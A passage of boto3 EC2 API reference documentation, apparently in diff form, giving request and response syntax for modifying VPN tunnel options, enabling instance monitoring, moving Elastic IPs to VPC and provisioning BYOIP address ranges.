'Value': 'string' + }, + ], + 'Phase1DHGroupNumbers': [ + { + 'Value': 123 + }, + ], + 'Phase2DHGroupNumbers': [ + { + 'Value': 123 + }, + ], + 'IkeVersions': [ + { + 'Value': 'string' + }, + ], + 'StartupAction': 'string' + }, + ] + }, + 'Routes': [ + { + 'DestinationCidrBlock': 'string', + 'Source': 'Static', + 'State': 'pending'|'available'|'deleting'|'deleted' + }, + ], + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ], + 'VgwTelemetry': [ + { + 'AcceptedRouteCount': 123, + 'LastStatusChange': datetime(2015, 1, 1), + 'OutsideIpAddress': 'string', + 'Status': 'UP'|'DOWN', + 'StatusMessage': 'string', + 'CertificateArn': 'string' + }, + ] + } +} + +**Response Structure** + +* _(dict) --_ + + * **VpnConnection** _(dict) --_ + + Describes a VPN connection. + + * **CustomerGatewayConfiguration** _(string) --_ + + The configuration information for the VPN connection's customer gateway (in the native XML format). This element is always present in the CreateVpnConnection response; however, it's present in the DescribeVpnConnections response only if the VPN connection is in the pending or available state. + + * **CustomerGatewayId** _(string) --_ + + The ID of the customer gateway at your end of the VPN connection. + + * **Category** _(string) --_ + + The category of the VPN connection. A value of VPN indicates an AWS VPN connection. A value of VPN-Classic indicates an AWS Classic VPN connection. + + * **State** _(string) --_ + + The current state of the VPN connection. + + * **Type** _(string) --_ + + The type of VPN connection. + + * **VpnConnectionId** _(string) --_ + + The ID of the VPN connection. + + * **VpnGatewayId** _(string) --_ + + The ID of the virtual private gateway at the AWS side of the VPN connection. + + * **TransitGatewayId** _(string) --_ + + The ID of the transit gateway associated with the VPN connection. + + * **Options** _(dict) --_ + + The VPN connection options. + + * **EnableAcceleration** _(boolean) --_ + + Indicates whether acceleration is enabled for the VPN connection. + + * **StaticRoutesOnly** _(boolean) --_ + + Indicates whether the VPN connection uses static routes only. Static routes must be used for devices that don't support BGP. + + * **LocalIpv4NetworkCidr** _(string) --_ + + The IPv4 CIDR on the customer gateway (on-premises) side of the VPN connection. + + * **RemoteIpv4NetworkCidr** _(string) --_ + + The IPv4 CIDR on the AWS side of the VPN connection. + + * **LocalIpv6NetworkCidr** _(string) --_ + + The IPv6 CIDR on the customer gateway (on-premises) side of the VPN connection. + + * **RemoteIpv6NetworkCidr** _(string) --_ + + The IPv6 CIDR on the AWS side of the VPN connection. + + * **TunnelInsideIpVersion** _(string) --_ + + Indicates whether the VPN tunnels process IPv4 or IPv6 traffic. + + * **TunnelOptions** _(list) --_ + + Indicates the VPN tunnel options. + + * _(dict) --_ + + The VPN tunnel options. + + * **OutsideIpAddress** _(string) --_ + + The external IP address of the VPN tunnel. + + * **TunnelInsideCidr** _(string) --_ + + The range of inside IPv4 addresses for the tunnel. + + * **TunnelInsideIpv6Cidr** _(string) --_ + + The range of inside IPv6 addresses for the tunnel. + + * **PreSharedKey** _(string) --_ + + The pre-shared key (PSK) to establish initial authentication between the virtual private gateway and the customer gateway. + + * **Phase1LifetimeSeconds** _(integer) --_ + + The lifetime for phase 1 of the IKE negotiation, in seconds. + + * **Phase2LifetimeSeconds** _(integer) --_ + + The lifetime for phase 2 of the IKE negotiation, in seconds. + + * **RekeyMarginTimeSeconds** _(integer) --_ + + The margin time, in seconds, before the phase 2 lifetime expires, during which the AWS side of the VPN connection performs an IKE rekey. + + * **RekeyFuzzPercentage** _(integer) --_ + + The percentage of the rekey window determined by RekeyMarginTimeSeconds during which the rekey time is randomly selected. + + * **ReplayWindowSize** _(integer) --_ + + The number of packets in an IKE replay window. + + * **DpdTimeoutSeconds** _(integer) --_ + + The number of seconds after which a DPD timeout occurs. + + * **DpdTimeoutAction** _(string) --_ + + The action to take after a DPD timeout occurs. + + * **Phase1EncryptionAlgorithms** _(list) --_ + + The permitted encryption algorithms for the VPN tunnel for phase 1 IKE negotiations. + + * _(dict) --_ + + The encryption algorithm for phase 1 IKE negotiations. + + * **Value** _(string) --_ + + The value for the encryption algorithm. + + * **Phase2EncryptionAlgorithms** _(list) --_ + + The permitted encryption algorithms for the VPN tunnel for phase 2 IKE negotiations. + + * _(dict) --_ + + The encryption algorithm for phase 2 IKE negotiations. + + * **Value** _(string) --_ + + The encryption algorithm. + + * **Phase1IntegrityAlgorithms** _(list) --_ + + The permitted integrity algorithms for the VPN tunnel for phase 1 IKE negotiations. + + * _(dict) --_ + + The integrity algorithm for phase 1 IKE negotiations. + + * **Value** _(string) --_ + + The value for the integrity algorithm. + + * **Phase2IntegrityAlgorithms** _(list) --_ + + The permitted integrity algorithms for the VPN tunnel for phase 2 IKE negotiations. + + * _(dict) --_ + + The integrity algorithm for phase 2 IKE negotiations. + + * **Value** _(string) --_ + + The integrity algorithm. + + * **Phase1DHGroupNumbers** _(list) --_ + + The permitted Diffie-Hellman group numbers for the VPN tunnel for phase 1 IKE negotiations. + + * _(dict) --_ + + The Diffie-Hellmann group number for phase 1 IKE negotiations. + + * **Value** _(integer) --_ + + The Diffie-Hellmann group number. + + * **Phase2DHGroupNumbers** _(list) --_ + + The permitted Diffie-Hellman group numbers for the VPN tunnel for phase 2 IKE negotiations. + + * _(dict) --_ + + The Diffie-Hellmann group number for phase 2 IKE negotiations. + + * **Value** _(integer) --_ + + The Diffie-Hellmann group number. + + * **IkeVersions** _(list) --_ + + The IKE versions that are permitted for the VPN tunnel. + + * _(dict) --_ + + The internet key exchange (IKE) version permitted for the VPN tunnel. + + * **Value** _(string) --_ + + The IKE version. + + * **StartupAction** _(string) --_ + + The action to take when the establishing the VPN tunnels for a VPN connection. + + * **Routes** _(list) --_ + + The static routes associated with the VPN connection. + + * _(dict) --_ + + Describes a static route for a VPN connection. + + * **DestinationCidrBlock** _(string) --_ + + The CIDR block associated with the local subnet of the customer data center. + + * **Source** _(string) --_ + + Indicates how the routes were provided. + + * **State** _(string) --_ + + The current state of the static route. + + * **Tags** _(list) --_ + + Any tags assigned to the VPN connection. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + * **VgwTelemetry** _(list) --_ + + Information about the VPN tunnel. + + * _(dict) --_ + + Describes telemetry for a VPN tunnel. + + * **AcceptedRouteCount** _(integer) --_ + + The number of accepted routes. + + * **LastStatusChange** _(datetime) --_ + + The date and time of the last change in status. + + * **OutsideIpAddress** _(string) --_ + + The Internet-routable IP address of the virtual private gateway's outside interface. + + * **Status** _(string) --_ + + The status of the VPN tunnel. + + * **StatusMessage** _(string) --_ + + If an error occurs, a description of the error. + + * **CertificateArn** _(string) --_ + + The Amazon Resource Name (ARN) of the VPN tunnel endpoint certificate. + + +modify_vpn_tunnel_options(kwargs_) + +Modifies the options for a VPN tunnel in an AWS Site-to-Site VPN connection. You can modify multiple options for a tunnel in a single request, but you can only modify one tunnel at a time. For more information, see [Site-to-Site VPN Tunnel Options for Your Site-to-Site VPN Connection](https://docs.aws.amazon.com/vpn/latest/s2svpn/VPNTunnels.html) in the _AWS Site-to-Site VPN User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ModifyVpnTunnelOptions) + +**Request Syntax** + +response = client.modify_vpn_tunnel_options( + VpnConnectionId='string', + VpnTunnelOutsideIpAddress='string', + TunnelOptions={ + 'TunnelInsideCidr': 'string', + 'TunnelInsideIpv6Cidr': 'string', + 'PreSharedKey': 'string', + 'Phase1LifetimeSeconds': 123, + 'Phase2LifetimeSeconds': 123, + 'RekeyMarginTimeSeconds': 123, + 'RekeyFuzzPercentage': 123, + 'ReplayWindowSize': 123, + 'DPDTimeoutSeconds': 123, + 'DPDTimeoutAction': 'string', + 'Phase1EncryptionAlgorithms': [ + { + 'Value': 'string' + }, + ], + 'Phase2EncryptionAlgorithms': [ + { + 'Value': 'string' + }, + ], + 'Phase1IntegrityAlgorithms': [ + { + 'Value': 'string' + }, + ], + 'Phase2IntegrityAlgorithms': [ + { + 'Value': 'string' + }, + ], + 'Phase1DHGroupNumbers': [ + { + 'Value': 123 + }, + ], + 'Phase2DHGroupNumbers': [ + { + 'Value': 123 + }, + ], + 'IKEVersions': [ + { + 'Value': 'string' + }, + ], + 'StartupAction': 'string' + }, + DryRun=True|False +) + +Parameters + +* **VpnConnectionId** (_string_) -- + + **[REQUIRED]** + + The ID of the AWS Site-to-Site VPN connection. + +* **VpnTunnelOutsideIpAddress** (_string_) -- + + **[REQUIRED]** + + The external IP address of the VPN tunnel. + +* **TunnelOptions** (_dict_) -- + + **[REQUIRED]** + + The tunnel options to modify. + + * **TunnelInsideCidr** _(string) --_ + + The range of inside IPv4 addresses for the tunnel. Any specified CIDR blocks must be unique across all VPN connections that use the same virtual private gateway. + + Constraints: A size /30 CIDR block from the 169.254.0.0/16 range. The following CIDR blocks are reserved and cannot be used: + + * 169.254.0.0/30 + * 169.254.1.0/30 + * 169.254.2.0/30 + * 169.254.3.0/30 + * 169.254.4.0/30 + * 169.254.5.0/30 + * 169.254.169.252/30 + * **TunnelInsideIpv6Cidr** _(string) --_ + + The range of inside IPv6 addresses for the tunnel. Any specified CIDR blocks must be unique across all VPN connections that use the same transit gateway. + + Constraints: A size /126 CIDR block from the local fd00::/8 range. + + * **PreSharedKey** _(string) --_ + + The pre-shared key (PSK) to establish initial authentication between the virtual private gateway and the customer gateway. + + Constraints: Allowed characters are alphanumeric characters, periods (.), and underscores (_). Must be between 8 and 64 characters in length and cannot start with zero (0). + + * **Phase1LifetimeSeconds** _(integer) --_ + + The lifetime for phase 1 of the IKE negotiation, in seconds. + + Constraints: A value between 900 and 28,800. + + Default: 28800 + + * **Phase2LifetimeSeconds** _(integer) --_ + + The lifetime for phase 2 of the IKE negotiation, in seconds. + + Constraints: A value between 900 and 3,600. The value must be less than the value for Phase1LifetimeSeconds . + + Default: 3600 + + * **RekeyMarginTimeSeconds** _(integer) --_ + + The margin time, in seconds, before the phase 2 lifetime expires, during which the AWS side of the VPN connection performs an IKE rekey. The exact time of the rekey is randomly selected based on the value for RekeyFuzzPercentage . + + Constraints: A value between 60 and half of Phase2LifetimeSeconds . + + Default: 540 + + * **RekeyFuzzPercentage** _(integer) --_ + + The percentage of the rekey window (determined by RekeyMarginTimeSeconds ) during which the rekey time is randomly selected. + + Constraints: A value between 0 and 100. + + Default: 100 + + * **ReplayWindowSize** _(integer) --_ + + The number of packets in an IKE replay window. + + Constraints: A value between 64 and 2048. + + Default: 1024 + + * **DPDTimeoutSeconds** _(integer) --_ + + The number of seconds after which a DPD timeout occurs. + + Constraints: A value between 0 and 30. + + Default: 30 + + * **DPDTimeoutAction** _(string) --_ + + The action to take after DPD timeout occurs. Specify restart to restart the IKE initiation. Specify clear to end the IKE session. + + Valid Values: clear | none | restart + + Default: clear + + * **Phase1EncryptionAlgorithms** _(list) --_ + + One or more encryption algorithms that are permitted for the VPN tunnel for phase 1 IKE negotiations. + + Valid values: AES128 | AES256 | AES128-GCM-16 | AES256-GCM-16 + + * _(dict) --_ + + Specifies the encryption algorithm for the VPN tunnel for phase 1 IKE negotiations. + + * **Value** _(string) --_ + + The value for the encryption algorithm. + + * **Phase2EncryptionAlgorithms** _(list) --_ + + One or more encryption algorithms that are permitted for the VPN tunnel for phase 2 IKE negotiations. + + Valid values: AES128 | AES256 | AES128-GCM-16 | AES256-GCM-16 + + * _(dict) --_ + + Specifies the encryption algorithm for the VPN tunnel for phase 2 IKE negotiations. + + * **Value** _(string) --_ + + The encryption algorithm. + + * **Phase1IntegrityAlgorithms** _(list) --_ + + One or more integrity algorithms that are permitted for the VPN tunnel for phase 1 IKE negotiations. + + Valid values: SHA1 | SHA2-256 | SHA2-384 | SHA2-512 + + * _(dict) --_ + + Specifies the integrity algorithm for the VPN tunnel for phase 1 IKE negotiations. + + * **Value** _(string) --_ + + The value for the integrity algorithm. + + * **Phase2IntegrityAlgorithms** _(list) --_ + + One or more integrity algorithms that are permitted for the VPN tunnel for phase 2 IKE negotiations. + + Valid values: SHA1 | SHA2-256 | SHA2-384 | SHA2-512 + + * _(dict) --_ + + Specifies the integrity algorithm for the VPN tunnel for phase 2 IKE negotiations. + + * **Value** _(string) --_ + + The integrity algorithm. + + * **Phase1DHGroupNumbers** _(list) --_ + + One or more Diffie-Hellman group numbers that are permitted for the VPN tunnel for phase 1 IKE negotiations. + + Valid values: 2 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 + + * _(dict) --_ + + Specifies a Diffie-Hellman group number for the VPN tunnel for phase 1 IKE negotiations. + + * **Value** _(integer) --_ + + The Diffie-Hellmann group number. + + * **Phase2DHGroupNumbers** _(list) --_ + + One or more Diffie-Hellman group numbers that are permitted for the VPN tunnel for phase 2 IKE negotiations. + + Valid values: 2 | 5 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 + + * _(dict) --_ + + Specifies a Diffie-Hellman group number for the VPN tunnel for phase 2 IKE negotiations. + + * **Value** _(integer) --_ + + The Diffie-Hellmann group number. + + * **IKEVersions** _(list) --_ + + The IKE versions that are permitted for the VPN tunnel. + + Valid values: ikev1 | ikev2 + + * _(dict) --_ + + The IKE version that is permitted for the VPN tunnel. + + * **Value** _(string) --_ + + The IKE version. + + * **StartupAction** _(string) --_ + + The action to take when the establishing the tunnel for the VPN connection. By default, your customer gateway device must initiate the IKE negotiation and bring up the tunnel. Specify start for AWS to initiate the IKE negotiation. + + Valid Values: add | start + + Default: add + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'VpnConnection': { + 'CustomerGatewayConfiguration': 'string', + 'CustomerGatewayId': 'string', + 'Category': 'string', + 'State': 'pending'|'available'|'deleting'|'deleted', + 'Type': 'ipsec.1', + 'VpnConnectionId': 'string', + 'VpnGatewayId': 'string', + 'TransitGatewayId': 'string', + 'Options': { + 'EnableAcceleration': True|False, + 'StaticRoutesOnly': True|False, + 'LocalIpv4NetworkCidr': 'string', + 'RemoteIpv4NetworkCidr': 'string', + 'LocalIpv6NetworkCidr': 'string', + 'RemoteIpv6NetworkCidr': 'string', + 'TunnelInsideIpVersion': 'ipv4'|'ipv6', + 'TunnelOptions': [ + { + 'OutsideIpAddress': 'string', + 'TunnelInsideCidr': 'string', + 'TunnelInsideIpv6Cidr': 'string', + 'PreSharedKey': 'string', + 'Phase1LifetimeSeconds': 123, + 'Phase2LifetimeSeconds': 123, + 'RekeyMarginTimeSeconds': 123, + 'RekeyFuzzPercentage': 123, + 'ReplayWindowSize': 123, + 'DpdTimeoutSeconds': 123, + 'DpdTimeoutAction': 'string', + 'Phase1EncryptionAlgorithms': [ + { + 'Value': 'string' + }, + ], + 'Phase2EncryptionAlgorithms': [ + { + 'Value': 'string' + }, + ], + 'Phase1IntegrityAlgorithms': [ + { + 'Value': 'string' + }, + ], + 'Phase2IntegrityAlgorithms': [ + { + 'Value': 'string' + }, + ], + 'Phase1DHGroupNumbers': [ + { + 'Value': 123 + }, + ], + 'Phase2DHGroupNumbers': [ + { + 'Value': 123 + }, + ], + 'IkeVersions': [ + { + 'Value': 'string' + }, + ], + 'StartupAction': 'string' + }, + ] + }, + 'Routes': [ + { + 'DestinationCidrBlock': 'string', + 'Source': 'Static', + 'State': 'pending'|'available'|'deleting'|'deleted' + }, + ], + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ], + 'VgwTelemetry': [ + { + 'AcceptedRouteCount': 123, + 'LastStatusChange': datetime(2015, 1, 1), + 'OutsideIpAddress': 'string', + 'Status': 'UP'|'DOWN', + 'StatusMessage': 'string', + 'CertificateArn': 'string' + }, + ] + } +} + +**Response Structure** + +* _(dict) --_ + + * **VpnConnection** _(dict) --_ + + Describes a VPN connection. + + * **CustomerGatewayConfiguration** _(string) --_ + + The configuration information for the VPN connection's customer gateway (in the native XML format). This element is always present in the CreateVpnConnection response; however, it's present in the DescribeVpnConnections response only if the VPN connection is in the pending or available state. + + * **CustomerGatewayId** _(string) --_ + + The ID of the customer gateway at your end of the VPN connection. + + * **Category** _(string) --_ + + The category of the VPN connection. A value of VPN indicates an AWS VPN connection. A value of VPN-Classic indicates an AWS Classic VPN connection. + + * **State** _(string) --_ + + The current state of the VPN connection. + + * **Type** _(string) --_ + + The type of VPN connection. + + * **VpnConnectionId** _(string) --_ + + The ID of the VPN connection. + + * **VpnGatewayId** _(string) --_ + + The ID of the virtual private gateway at the AWS side of the VPN connection. + + * **TransitGatewayId** _(string) --_ + + The ID of the transit gateway associated with the VPN connection. + + * **Options** _(dict) --_ + + The VPN connection options. + + * **EnableAcceleration** _(boolean) --_ + + Indicates whether acceleration is enabled for the VPN connection. + + * **StaticRoutesOnly** _(boolean) --_ + + Indicates whether the VPN connection uses static routes only. Static routes must be used for devices that don't support BGP. + + * **LocalIpv4NetworkCidr** _(string) --_ + + The IPv4 CIDR on the customer gateway (on-premises) side of the VPN connection. + + * **RemoteIpv4NetworkCidr** _(string) --_ + + The IPv4 CIDR on the AWS side of the VPN connection. + + * **LocalIpv6NetworkCidr** _(string) --_ + + The IPv6 CIDR on the customer gateway (on-premises) side of the VPN connection. + + * **RemoteIpv6NetworkCidr** _(string) --_ + + The IPv6 CIDR on the AWS side of the VPN connection. + + * **TunnelInsideIpVersion** _(string) --_ + + Indicates whether the VPN tunnels process IPv4 or IPv6 traffic. + + * **TunnelOptions** _(list) --_ + + Indicates the VPN tunnel options. + + * _(dict) --_ + + The VPN tunnel options. + + * **OutsideIpAddress** _(string) --_ + + The external IP address of the VPN tunnel. + + * **TunnelInsideCidr** _(string) --_ + + The range of inside IPv4 addresses for the tunnel. + + * **TunnelInsideIpv6Cidr** _(string) --_ + + The range of inside IPv6 addresses for the tunnel. + + * **PreSharedKey** _(string) --_ + + The pre-shared key (PSK) to establish initial authentication between the virtual private gateway and the customer gateway. + + * **Phase1LifetimeSeconds** _(integer) --_ + + The lifetime for phase 1 of the IKE negotiation, in seconds. + + * **Phase2LifetimeSeconds** _(integer) --_ + + The lifetime for phase 2 of the IKE negotiation, in seconds. + + * **RekeyMarginTimeSeconds** _(integer) --_ + + The margin time, in seconds, before the phase 2 lifetime expires, during which the AWS side of the VPN connection performs an IKE rekey. + + * **RekeyFuzzPercentage** _(integer) --_ + + The percentage of the rekey window determined by RekeyMarginTimeSeconds during which the rekey time is randomly selected. + + * **ReplayWindowSize** _(integer) --_ + + The number of packets in an IKE replay window. + + * **DpdTimeoutSeconds** _(integer) --_ + + The number of seconds after which a DPD timeout occurs. + + * **DpdTimeoutAction** _(string) --_ + + The action to take after a DPD timeout occurs. + + * **Phase1EncryptionAlgorithms** _(list) --_ + + The permitted encryption algorithms for the VPN tunnel for phase 1 IKE negotiations. + + * _(dict) --_ + + The encryption algorithm for phase 1 IKE negotiations. + + * **Value** _(string) --_ + + The value for the encryption algorithm. + + * **Phase2EncryptionAlgorithms** _(list) --_ + + The permitted encryption algorithms for the VPN tunnel for phase 2 IKE negotiations. + + * _(dict) --_ + + The encryption algorithm for phase 2 IKE negotiations. + + * **Value** _(string) --_ + + The encryption algorithm. + + * **Phase1IntegrityAlgorithms** _(list) --_ + + The permitted integrity algorithms for the VPN tunnel for phase 1 IKE negotiations. + + * _(dict) --_ + + The integrity algorithm for phase 1 IKE negotiations. + + * **Value** _(string) --_ + + The value for the integrity algorithm. + + * **Phase2IntegrityAlgorithms** _(list) --_ + + The permitted integrity algorithms for the VPN tunnel for phase 2 IKE negotiations. + + * _(dict) --_ + + The integrity algorithm for phase 2 IKE negotiations. + + * **Value** _(string) --_ + + The integrity algorithm. + + * **Phase1DHGroupNumbers** _(list) --_ + + The permitted Diffie-Hellman group numbers for the VPN tunnel for phase 1 IKE negotiations. + + * _(dict) --_ + + The Diffie-Hellmann group number for phase 1 IKE negotiations. + + * **Value** _(integer) --_ + + The Diffie-Hellmann group number. + + * **Phase2DHGroupNumbers** _(list) --_ + + The permitted Diffie-Hellman group numbers for the VPN tunnel for phase 2 IKE negotiations. + + * _(dict) --_ + + The Diffie-Hellmann group number for phase 2 IKE negotiations. + + * **Value** _(integer) --_ + + The Diffie-Hellmann group number. + + * **IkeVersions** _(list) --_ + + The IKE versions that are permitted for the VPN tunnel. + + * _(dict) --_ + + The internet key exchange (IKE) version permitted for the VPN tunnel. + + * **Value** _(string) --_ + + The IKE version. + + * **StartupAction** _(string) --_ + + The action to take when the establishing the VPN tunnels for a VPN connection. + + * **Routes** _(list) --_ + + The static routes associated with the VPN connection. + + * _(dict) --_ + + Describes a static route for a VPN connection. + + * **DestinationCidrBlock** _(string) --_ + + The CIDR block associated with the local subnet of the customer data center. + + * **Source** _(string) --_ + + Indicates how the routes were provided. + + * **State** _(string) --_ + + The current state of the static route. + + * **Tags** _(list) --_ + + Any tags assigned to the VPN connection. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + * **VgwTelemetry** _(list) --_ + + Information about the VPN tunnel. + + * _(dict) --_ + + Describes telemetry for a VPN tunnel. + + * **AcceptedRouteCount** _(integer) --_ + + The number of accepted routes. + + * **LastStatusChange** _(datetime) --_ + + The date and time of the last change in status. + + * **OutsideIpAddress** _(string) --_ + + The Internet-routable IP address of the virtual private gateway's outside interface. + + * **Status** _(string) --_ + + The status of the VPN tunnel. + + * **StatusMessage** _(string) --_ + + If an error occurs, a description of the error. + + * **CertificateArn** _(string) --_ + + The Amazon Resource Name (ARN) of the VPN tunnel endpoint certificate. + + +monitor_instances(kwargs_) + +Enables detailed monitoring for a running instance. Otherwise, basic monitoring is enabled. For more information, see [Monitoring your instances and volumes](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-cloudwatch.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +To disable detailed monitoring, see . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/MonitorInstances) + +**Request Syntax** + +response = client.monitor_instances( + InstanceIds=[ + 'string', + ], + DryRun=True|False +) + +Parameters + +* **InstanceIds** (_list_) -- + + **[REQUIRED]** + + The IDs of the instances. + + * _(string) --_ +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'InstanceMonitorings': [ + { + 'InstanceId': 'string', + 'Monitoring': { + 'State': 'disabled'|'disabling'|'enabled'|'pending' + } + }, + ] +} + +**Response Structure** + +* _(dict) --_ + + * **InstanceMonitorings** _(list) --_ + + The monitoring information. + + * _(dict) --_ + + Describes the monitoring of an instance. + + * **InstanceId** _(string) --_ + + The ID of the instance. + + * **Monitoring** _(dict) --_ + + The monitoring for the instance. + + * **State** _(string) --_ + + Indicates whether detailed monitoring is enabled. Otherwise, basic monitoring is enabled. + + +move_address_to_vpc(kwargs_) + +Moves an Elastic IP address from the EC2-Classic platform to the EC2-VPC platform. The Elastic IP address must be allocated to your account for more than 24 hours, and it must not be associated with an instance. After the Elastic IP address is moved, it is no longer available for use in the EC2-Classic platform, unless you move it back using the RestoreAddressToClassic request. You cannot move an Elastic IP address that was originally allocated for use in the EC2-VPC platform to the EC2-Classic platform. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/MoveAddressToVpc) + +**Request Syntax** + +response = client.move_address_to_vpc( + DryRun=True|False, + PublicIp='string' +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **PublicIp** (_string_) -- + + **[REQUIRED]** + + The Elastic IP address. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'AllocationId': 'string', + 'Status': 'MoveInProgress'|'InVpc'|'InClassic' +} + +**Response Structure** + +* _(dict) --_ + + * **AllocationId** _(string) --_ + + The allocation ID for the Elastic IP address. + + * **Status** _(string) --_ + + The status of the move of the IP address. + + +**Examples** + +This example moves the specified Elastic IP address to the EC2-VPC platform. + +response = client.move_address_to_vpc( + PublicIp='54.123.4.56', +) + +print(response) + +Expected Output: + +{ + 'Status': 'MoveInProgress', + 'ResponseMetadata': { + '...': '...', + }, +} + +provision_byoip_cidr(kwargs_) + +Provisions an IPv4 or IPv6 address range for use with your AWS resources through bring your own IP addresses (BYOIP) and creates a corresponding address pool. After the address range is provisioned, it is ready to be advertised using AdvertiseByoipCidr . + +AWS verifies that you own the address range and are authorized to advertise it. You must ensure that the address range is registered to you and that you created an RPKI ROA to authorize Amazon ASNs 16509 and 14618 to advertise the address range. For more information, see [Bring Your Own IP Addresses (BYOIP)](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-byoip.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +Provisioning an address range is an asynchronous operation, so the call returns immediately, but the address range is not ready to use until its status changes from pending-provision to provisioned . To monitor the status of an address range, use DescribeByoipCidrs . To allocate an Elastic IP address from your IPv4 address pool, use AllocateAddress with either the specific address from the address pool or the ID of the address pool. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ProvisionByoipCidr) + +**Request Syntax** + +response = client.provision_byoip_cidr( + Cidr='string', + CidrAuthorizationContext={ + 'Message': 'string', + 'Signature': 'string' + }, + PubliclyAdvertisable=True|False, + Description='string', + DryRun=True|False, + PoolTagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ] +) + +Parameters + +* **Cidr** (_string_) -- + + **[REQUIRED]** + + The public IPv4 or IPv6 address range, in CIDR notation. The most specific IPv4 prefix that you can specify is /24. The most specific IPv6 prefix you can specify is /56. The address range cannot overlap with another address range that you've brought to this or another Region. + +* **CidrAuthorizationContext** (_dict_) -- + + A signed document that proves that you are authorized to bring the specified IP address range to Amazon using BYOIP. + + * **Message** _(string) --_ **[REQUIRED]** + + The plain-text authorization message for the prefix and account. + + * **Signature** _(string) --_ **[REQUIRED]** + + The signed authorization message for the prefix and account. + +* **PubliclyAdvertisable** (_boolean_) -- + + (IPv6 only) Indicate whether the address range will be publicly advertised to the internet. + + Default: true + +* **Description** (_string_) -- A description for the address range and the address pool. +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **PoolTagSpecifications** (_list_) -- + + The tags to apply to the address pool. + + * _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + * **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id590)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id592)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + * **Tags** _(list) --_ + + The tags to apply to the resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'ByoipCidr': { + 'Cidr': 'string', + 'Description': 'string', + 'StatusMessage': 'string', + 'State': 'advertised'|'deprovisioned'|'failed-deprovision'|'failed-provision'|'pending-deprovision'|'pending-provision'|'provisioned'|'provisioned-not-publicly-advertisable' + } +} + +**Response Structure** + +* _(dict) --_ + + * **ByoipCidr** _(dict) --_ + + Information about the address range. + + * **Cidr** _(string) --_ + + The address range, in CIDR 